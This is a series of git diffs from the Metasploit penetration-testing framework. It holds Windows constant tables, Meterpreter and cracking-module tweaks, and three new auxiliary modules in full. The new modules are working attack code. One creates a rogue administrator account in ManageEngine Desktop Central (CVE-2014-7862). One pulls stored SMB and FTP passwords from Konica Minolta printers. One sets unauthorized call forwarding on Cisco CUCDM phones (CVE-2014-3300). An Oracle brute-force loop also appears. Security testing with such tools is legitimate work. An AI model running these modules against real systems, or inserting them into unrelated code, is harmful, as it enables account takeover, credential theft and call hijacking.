win_const_mgr.add_const('WINHTTP_OPTION_CONNECT_TIMEOUT',0x00000003)
win_const_mgr.add_const('DS_NOIDLEMSG',0x00000100)
win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001)
win_const_mgr.add_const('CRYPT_ACQUIRE_PREFER_NCRYPT_KEY_FLAG',0x00020000)
win_const_mgr.add_const('ERROR_LOG_CLIENT_NOT_REGISTERED',0x000019ED)
win_const_mgr.add_const('CERT_NAME_STR_REVERSE_FLAG',0x02000000)
@ -23830,7 +23870,6 @@ class ApiConstants
win_const_mgr.add_const('DISPID_IHTMLPLUGINSCOLLECTION_REFRESH',0x00000002)
win_const_mgr.add_const('CM_OPEN_CLASS_KEY_BITS',0x00000001)
win_const_mgr.add_const('HH_SAFE_DISPLAY_TOPIC',0x00000020)
win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004)
win_const_mgr.add_const('FPSR_MBZ0_V',0x00000003)
win_const_mgr.add_const('ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT',0x000013E0)
win_const_mgr.add_const('WIA_DPF_FIRST',0x00000D02)
@ -24022,7 +24061,6 @@ class ApiConstants
win_const_mgr.add_const('DNS_RTYPE_HINFO',0x00000000)
win_const_mgr.add_const('WM_COMPACTING',0x00000041)
win_const_mgr.add_const('EXITPUB_FILE',0x00000001)
win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000)
win_const_mgr.add_const('IP_ADAPTER_IPV4_ENABLED',0x00000080)
win_const_mgr.add_const('DXGI_USAGE_BACK_BUFFER',0x00000001)
win_const_mgr.add_const('DVD_AUDIO_CAPS_MPEG2',0x00000002)
@ -24229,7 +24267,6 @@ class ApiConstants
win_const_mgr.add_const('PSH_USEHBMWATERMARK',0x00010000)
win_const_mgr.add_const('APPCTR_MD_ID_BEGIN_RESERVED',0x00000000)
win_const_mgr.add_const('ADMIN_STATE_ENABLED',0x00000002)
win_const_mgr.add_const('SERVICE_START',0x00000010)
win_const_mgr.add_const('SQL_CONVERT_WVARCHAR',0x0000007E)
win_const_mgr.add_const('SECPKG_CONTEXT_EXPORT_RESET_NEW',0x00000001)
win_const_mgr.add_const('GESTURE_INFINITY',0x00000000)
@ -24327,7 +24364,6 @@ class ApiConstants
win_const_mgr.add_const('ICDRAW_NULLFRAME',0x10000000)
win_const_mgr.add_const('JET_BASE_NAME_LENGTH',0x00000003)
win_const_mgr.add_const('HHWIN_PROP_ONTOP',0x00000001)
win_const_mgr.add_const('SERVICE_PAUSED',0x00000007)
win_const_mgr.add_const('ICEE_CREATE_FILE_PE32',0x00000001)
win_const_mgr.add_const('CSIDL_PRINTERS',0x00000004)
win_const_mgr.add_const('LINEBEARERMODE_MULTIUSE',0x00000004)
@ -24628,7 +24664,6 @@ class ApiConstants
win_const_mgr.add_const('POSTSCRIPT_DATA',0x00000025)
win_const_mgr.add_const('MCIWNDF_NOMENU',0x00000008)
win_const_mgr.add_const('OID_CO_TAPI_TRANSLATE_NDIS_CALLPARAMS',0xFE001005)
win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100)
win_const_mgr.add_const('JIFMK_FF',0x0000FFFF)
win_const_mgr.add_const('DFCS_HOT',0x00001000)
win_const_mgr.add_const('SI_CONTAINER',0x00000004)
@ -25917,7 +25952,6 @@ class ApiConstants
win_const_mgr.add_const('TOKEN_ADJUST_PRIVILEGES',0x00000020)
win_const_mgr.add_const('CRL_REASON_UNSPECIFIED',0x00000000)
win_const_mgr.add_const('SERVICE_STOP_REASON_MINOR_MIN',0x00000000)
win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040)
win_const_mgr.add_const('RPC_C_QOS_CAPABILITIES_SCHANNEL_FULL_AUTH_IDENTITY',0x00000020)
win_const_mgr.add_const('FEI_SENDING',0x00000002)
win_const_mgr.add_const('DOF_PROGMAN',0x00000001)
@ -29144,7 +29178,6 @@ class ApiConstants
win_const_mgr.add_const('DS_FORCE_REDISCOVERY',0x00000001)
win_const_mgr.add_const('PDH_INVALID_INSTANCE',0xC0000BC5)
win_const_mgr.add_const('LOCALSTATE_POLICYREMOVE_UNINSTALL',0x00000010)
win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003)
win_const_mgr.add_const('PS_JOIN_BEVEL',0x00001000)
win_const_mgr.add_const('MFE_PRUNED_UPSTREAM',0x00000004)
win_const_mgr.add_const('TMT_BTNTEXT',0x00000653)
@ -30370,7 +30403,6 @@ class ApiConstants
win_const_mgr.add_const('VK_DBE_NOROMAN',0x00000000)
win_const_mgr.add_const('DNS_TYPE_CNAME',0x00000005)
win_const_mgr.add_const('PID_IS_WORKINGDIR',0x00000005)
win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010)
win_const_mgr.add_const('APPCOMMAND_MEDIA_PLAY_PAUSE',0x0000000E)
win_const_mgr.add_const('MCI_ANIM_PLAY_SCAN',0x00100000)
win_const_mgr.add_const('NOTIFY_CLASS_REGISTRY_CHANGE',0x00000004)
@ -32077,7 +32109,6 @@ class ApiConstants
win_const_mgr.add_const('RPC_S_SEC_PKG_ERROR',0x00000721)
win_const_mgr.add_const('IPPORT_ECHO',0x00000007)
win_const_mgr.add_const('APPSTATUS_STOPPED',0x00000000)
win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004)
win_const_mgr.add_const('WMDM_DEVICECAP_CANPAUSE',0x00000010)
win_const_mgr.add_const('PSP_USEFUSIONCONTEXT',0x00004000)
win_const_mgr.add_const('SUBSCRIPTION_CAP_IS_CONTENTPARTNER',0x00000040)
@ -33167,7 +33198,6 @@ class ApiConstants
win_const_mgr.add_const('DISPID_CUSTOMIZESETTINGS',0x00000011)
win_const_mgr.add_const('IMAGE_REL_I386_SECREL',0x0000000B)
win_const_mgr.add_const('IF_TYPE_VOICE_FXS',0x00000066)
win_const_mgr.add_const('WRITE_OWNER',0x00080000)
win_const_mgr.add_const('CALLBACK_FUNCTION',0x00030000)
win_const_mgr.add_const('CRYPT_MODE_CTS',0x00000005)
win_const_mgr.add_const('PAN_STROKEVARIATION_INDEX',0x00000005)
@ -34303,7 +34333,6 @@ class ApiConstants
win_const_mgr.add_const('DDPCAPS_1BIT',0x00000100)
win_const_mgr.add_const('INADDR_LOOPBACK',0x00000007)
win_const_mgr.add_const('HTTP_QUERY_SERVER',0x00000025)
win_const_mgr.add_const('GENERIC_READ',0x80000000)
win_const_mgr.add_const('DSBI_EXPANDONOPEN',0x00040000)
win_const_mgr.add_const('D3DUSAGE_DYNAMIC',0x00000200)
win_const_mgr.add_const('MIN_PST_ERROR',0x800C0001)
@ -36254,7 +36283,6 @@ class ApiConstants
win_const_mgr.add_const('DBFLAGS_MULTITHREADTRANSACTIONS',0x00000200)
win_const_mgr.add_const('ERROR_DBG_RIPEXCEPTION',0x000002B7)
win_const_mgr.add_const('KSALLOCATOR_FLAG_NO_FRAME_INTEGRITY',0x00000100)
win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020)
win_const_mgr.add_const('PBT_APMPOWERSTATUSCHANGE',0x0000000A)
win_const_mgr.add_const('IDM_TRIED_INSERTTABLE',0x00000016)
win_const_mgr.add_const('IMC_OPENSTATUSWINDOW',0x00000022)
@ -38107,7 +38135,6 @@ class ApiConstants
win_const_mgr.add_const('TIME_STAMP_CAPABLE',0x00000020)
win_const_mgr.add_const('WIA_IPA_ITEM_CATEGORY',0x0000101D)
win_const_mgr.add_const('DNS_UPDATE_SECURITY_OFF',0x00000010)
win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001)
win_const_mgr.add_const('HANDLE_PARAM_IS_IN',0x00000040)
win_const_mgr.add_const('IF_CHECK_SEND',0x00000002)
win_const_mgr.add_const('MSV1_0_ALLOW_WORKSTATION_TRUST_ACCOUNT',0x00000800)

View File

@ -154,37 +154,43 @@ class UI < Rex::Post::UI
def screenshot( quality=50 )
request = Packet.create_request( 'stdapi_ui_desktop_screenshot' )
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
# include the x64 screenshot dll if the host OS is x64
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll')
if screenshot_path.nil?
raise RuntimeError, "screenshot.x64.dll not found", caller
end
screenshot_path = ::File.expand_path( screenshot_path )
screenshot_dll = ''
::File.open( screenshot_path, 'rb' ) do |f|
screenshot_dll += f.read( f.stat.size )
end
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
end
# but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll')
if screenshot_path.nil?
raise RuntimeError, "screenshot.x86.dll not found", caller
end
screenshot_path = ::File.expand_path( screenshot_path )
screenshot_dll = ''
::File.open( screenshot_path, 'rb' ) do |f|
screenshot_dll += f.read( f.stat.size )
end
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length )
# send the request and return the jpeg image if successfull.
response = client.send_request( request )
if( response.result == 0 )
return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
end
return nil
end

View File

@ -86,7 +86,7 @@ class Client
typ = self.config_types[var] || 'string'
# These are enum types
if(typ.class.to_s == 'Array')
if typ.is_a?(Array)
if not typ.include?(val)
raise RuntimeError, "The specified value for #{var} is not one of the valid choices"
end
@ -719,4 +719,3 @@ end
end
end
end

View File

@ -29,7 +29,7 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION
# Metasploit::Credential database models
spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.8'
spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.11'
# Database models shared between framework and Pro.
spec.add_runtime_dependency 'metasploit_data_models', '~> 0.21.3'
# depend on metasploit-framewrok as the optional gems are useless with the actual code

View File

@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '~> 0.28.0'
# Needed for Meterpreter on Windows, soon others.
spec.add_runtime_dependency 'meterpreter_bins', '0.0.12'
spec.add_runtime_dependency 'meterpreter_bins', '0.0.13'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler

View File

@ -0,0 +1,97 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
'Description' => %q{
This module exploits an administrator account creation vulnerability in Desktop Central
from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
several versions of Desktop Central (including MSP) from v7 onwards.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-7862'],
['OSVDB', '116554'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_dc9_admin.txt'],
['URL', 'http://seclists.org/fulldisclosure/2015/Jan/2']
],
'DisclosureDate' => 'Dec 31 2014'))
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 8020]),
OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
], self.class)
end
def run
# Generate password hash
salt = Time.now.to_i.to_s
password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"),
'method' =>'GET',
'vars_get' => {
'action' => 'addPlugInUser',
'role' => 'DCAdmin',
'userName' => datastore['USERNAME'],
'email' => datastore['EMAIL'],
'phNumber' => Rex::Text.rand_text_numeric(6),
'password' => password_encoded,
'salt' => salt,
'createdtime' => salt
}
})
# Yes, "sucess" is really mispelt, as is "Servelet" ... !
unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/
print_error("#{peer} - Administrator account creation failed")
end
print_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: datastore['PASSWORD'],
username: datastore['USERNAME']
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
access_level: 'Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end

View File

@ -44,27 +44,28 @@ class Metasploit3 < Msf::Auxiliary
print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...")
fd = CSV.foreach(list) do |brute|
datastore['DBUSER'] = brute[2].downcase
datastore['DBPASS'] = brute[3].downcase
datastore['DBUSER'] = brute[2].downcase
datastore['DBPASS'] = brute[3].downcase
begin
connect
disconnect
rescue ::OCIError => e
begin
connect
disconnect
rescue ::OCIError => e
if e.to_s =~ /^ORA-12170:\s/
print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out")
break
end
else
if (not e)
report_auth_info(
report_auth_info(
:host => "#{datastore['RHOST']}",
:port => "#{datastore['RPORT']}",
:sname => 'oracle',
:user => "#{datastore['SID']}/#{datastore['DBUSER']}",
:pass => "#{datastore['DBPASS']}",
:active => true
)
print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
end
end
)
print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
end
end
end
end

View File

@ -43,6 +43,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end
cracker_instance.crack do |line|
print_status line.chomp
end

View File

@ -42,6 +42,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end
cracker_instance.crack do |line|
print_status line.chomp
end

View File

@ -57,6 +57,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end
cracker_instance.crack do |line|
print_status line.chomp
end

View File

@ -44,6 +44,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end
cracker_instance.crack do |line|
print_status line.chomp
end

View File

@ -42,6 +42,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end
cracker_instance.crack do |line|
print_status line.chomp
end

View File

@ -48,6 +48,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
# Turn on KoreLogic rules if the user asked for it
if datastore['KoreLogic']
cracker_instance.rules = 'KoreLogicRules'
print_status "Applying KoreLogic ruleset..."
end
cracker_instance.crack do |line|
print_status line.chomp
end

View File

@ -0,0 +1,258 @@
#
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Konica Minolta Password Extractor',
'Description' => %q(
This module will extract FTP and SMB account usernames and passwords
from Konica Minolta mfp devices. Tested models include: C224, C280,
283, C353, C360, 363, 420, C452,C452, C452, C454e, C554 ),
'Author' =>
[
'Deral "Percentx" Heiland',
'Pete "Bokojan" Arzamendi'
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT('50001'),
OptString.new('USER', [false, 'The default Admin user', 'Admin']),
OptString.new('PASSWD', [true, 'The default Admin password', '12345678']),
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
], self.class)
end
# Creates the XML data to be sent that will extract AuthKey
def generate_authkey_request_xlm(major, minor)
user = datastore['USER']
passwd = datastore['PASSWD']
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
}
}
xml.send('SOAP-ENV:Body') {
xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('UserType') { xml.text "#{user}" }
xml.send('Password') { xml.text "#{passwd}" }
}
xml.send('TimeOut') { xml.text '60' }
}
}
}
end
end
# Create XML data that will be sent to extract SMB and FTP passwords from device
def generate_pwd_request_xlm(major, minor, authkey)
Nokogiri::XML::Builder.new do |xml|
xml.send('SOAP-ENV:Envelope',
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
xml.send('SOAP-ENV:Header'){
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
xml.send('UserName', 'xmlns' => '') { xml.text '' }
xml.send('Password', 'xmlns' => '') { xml.text '' }
xml.send('Version', 'xmlns' => ''){
xml.send('Major') { xml.text "#{major}" }
xml.send('Minor') { xml.text "#{minor}" }
}
xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
}
}
xml.send('SOAP-ENV:Body'){
xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
xml.send('OperatorInfo'){
xml.send('AuthKey') { xml.text "#{authkey}" }
}
xml.send('AbbrListCondition'){
xml.send('SearchKey') { xml.text 'None' }
xml.send('WellUse') { xml.text 'false' }
xml.send('ObtainCondition'){
xml.send('Type') { xml.text 'OffsetList' }
xml.send('OffsetRange'){
xml.send('Start') { xml.text '1' }
xml.send('Length') { xml.text '100' }
}
}
xml.send('BackUp') { xml.text 'true' }
xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
}
}
}
}
end
end
# This next section will post the XML soap messages for information gathering.
def run_host(ip)
print_status("Attempting to extract username and password from the host at #{peer}")
version
end
# Validate XML Major Minor version
def version
response = send_request_cgi(
{
'uri' => '/',
'method' => 'POST',
'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>'
}, datastore['TIMEOUT'].to_i)
if response.nil?
print_error("#{peer} - No reponse from device")
return
else
xml0_body = ::Nokogiri::XML(response.body)
major_parse = xml0_body.xpath('//Major').text
minor_parse = xml0_body.xpath('//Minor').text
major = ("#{major_parse}")
minor = ("#{minor_parse}")
login(major, minor)
end
rescue ::Rex::ConnectionError
print_error("#{peer} - Version check Connection failed.")
end
# This section logs on and retrieves AuthKey token
def login(major, minor)
authreq_xml = generate_authkey_request_xlm(major, minor)
# Send post request with crafted XML to login and retreive AuthKey
begin
response = send_request_cgi(
{
'uri' => '/',
'method' => 'POST',
'data' => authreq_xml.to_xml
}, datastore['TIMEOUT'].to_i)
if response.nil?
print_error("#{peer} - No reponse from device")
return
else
xml1_body = ::Nokogiri::XML(response.body)
authkey_parse = xml1_body.xpath('//AuthKey').text
authkey = ("#{authkey_parse}")
extract(major, minor, authkey)
end
rescue ::Rex::ConnectionError
print_error("#{peer} - Login Connection failed.")
end
end
# This section post xml soap message that will extract usernames and passwords
def extract(major, minor, authkey)
if (authkey != '')
# create xml request to extract user credintial settings
smbreq_xml = generate_pwd_request_xlm(major, minor, authkey)
# Send post request with crafted XML as data
begin
response = send_request_cgi(
{
'uri' => '/',
'method' => 'POST',
'data' => smbreq_xml.to_xml
}, datastore['TIMEOUT'].to_i)
if response.nil?
print_error("#{peer} - No reponse from device")
return
else
xml2_body = ::Nokogiri::XML(response.body)
@smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text }
@smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text }
@smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text }
@ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text }
@ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text }
@ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text }
@ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text }
end
end
i = 0
# output SMB data
@smb_user.each do
shost = "#{@smb_host[i]}"
sname = "#{@smb_user[i]}"
sword = "#{@smb_pass[i]}"
print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139")
register_creds('smb', shost, '139', sname, sword)
i += 1
end
i = 0
# output FTP data
@ftp_user.each do
fhost = "#{@ftp_host[i]}"
fname = "#{@ftp_user[i]}"
fword = "#{@ftp_pass[i]}"
fport = "#{@ftp_port[i]}"
print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}")
register_creds('ftp', fhost, fport, fname, fword)
i += 1
end
else
print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model')
return
end
end
def register_creds(service_name, remote_host, remote_port, username, password)
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
workspace_id: myworkspace.id,
private_data: password,
private_type: :password,
username: username
}
service_data = {
address: remote_host,
port: remote_port,
service_name: service_name,
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end

View File

@ -188,7 +188,7 @@ class Metasploit3 < Msf::Auxiliary
end
else
next if (res.code == 500 or res.code == 404 or res.code == 302)
print_error("#{ip} #{res.inspect}")
print_error("#{ip} #{res.to_s}")
end
end

View File

@ -124,11 +124,11 @@ class Metasploit3 < Msf::Auxiliary
end
end
def do_login(user=nil, pass=nil, viewstate=viewstate, eventvalidation=eventvalidation)
def do_login(user=nil, pass=nil, viewstate_arg=viewstate, eventvalidation_arg=eventvalidation)
vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'")
post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate.to_s)}"
post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation.to_s)}"
post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate_arg.to_s)}"
post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation_arg.to_s)}"
post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}"
post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}"

View File

@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
else
print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response")
print_error(res.inspect)
print_error(res.to_s)
return :abort
end

View File

@ -97,16 +97,16 @@ class Metasploit3 < Msf::Auxiliary
name = name.to_s
anst = data.class.to_s.gsub(/^.*Resolv::DNS::Resource::IN::/, '')
case anst
when 'NS'
case data
when Resolv::DNS::Resource::IN::NS
data = data.name.to_s
when 'MX'
when Resolv::DNS::Resource::IN::MX
data = data.exchange.to_s
when 'A'
when Resolv::DNS::Resource::IN::A
data = data.address.to_s
when 'TXT'
when Resolv::DNS::Resource::IN::TXT
data = data.strings.join
when 'CNAME'
when Resolv::DNS::Resource::IN::CNAME
data = data.name.to_s
else
data = anst

View File

@ -0,0 +1,148 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rexml/document'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
'Description' => %q{
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
(CDM) 10 does not properly implement access control, which allows remote attackers to
modify user information. This module exploits the vulnerability for configure unauthorized
call forwarding.
},
'Author' => 'fozavci',
'References' =>
[
['CVE', '2014-3300'],
['BID', '68331']
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ],
[ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ]
],
'DefaultAction' => 'Info'
))
register_options(
[
OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines'])
], self.class)
end
def run
case action.name.upcase
when 'INFO'
get_info
when 'FORWARD'
forward_calls
end
end
def get_info
uri = normalize_uri(target_uri.to_s)
mac = datastore["MAC"]
print_status("#{peer} - Getting fintnumbers and display names of the IP phone")
res = send_request_cgi(
{
'uri' => normalize_uri(uri, 'showcallfwd.cgi'),
'method' => 'GET',
'vars_get' => {
'device' => "SEP#{mac}"
}
})
unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
print_error("#{peer} - Target appears not vulnerable!")
print_status("#{res}")
return []
end
doc = REXML::Document.new(res.body)
lines = []
fint_numbers = []
list = doc.root.get_elements('MenuItem')
list.each do |lst|
xlist = lst.get_elements('Name')
xlist.each {|l| lines << "#{l[0]}"}
xlist = lst.get_elements('URL')
xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" }
end
lines.size.times do |i|
print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
end
fint_numbers
end
def forward_calls
# for a specific FINTNUMBER redirection
uri = normalize_uri(target_uri.to_s)
forward_to = datastore["FORWARDTO"]
mac = datastore["MAC"]
if datastore['FINTNUMBER']
fint_numbers = [datastore['FINTNUMBER']]
else
fint_numbers = get_info
end
if fint_numbers.empty?
print_error("#{peer} - FINTNUMBER required to forward calls")
return
end
fint_numbers.each do |fintnumber|
print_status("#{peer} - Sending call forward request for #{fintnumber}")
send_request_cgi(
{
'uri' => normalize_uri(uri, 'phonecallfwd.cgi'),
'method' => 'GET',
'vars_get' => {
'cfoption' => 'CallForwardAll',
'device' => "SEP#{mac}",
'ProviderName' => 'NULL',
'fintnumber' => "#{fintnumber}",
'telno1' => "#{forward_to}"
}
})
res = send_request_cgi(
{
'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'),
'method' => 'GET',
'vars_get' => {
'device' => "SEP#{mac}",
'fintnumber' => "#{fintnumber}"
}
})
if res && res.body && res.body && res.body.to_s =~ /CFA/
print_good("#{peer} - Call forwarded successfully for #{fintnumber}")
else
print_status("#{peer} - Call forward failed.")
end
end
end
end

View File

@ -0,0 +1,205 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rexml/document'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
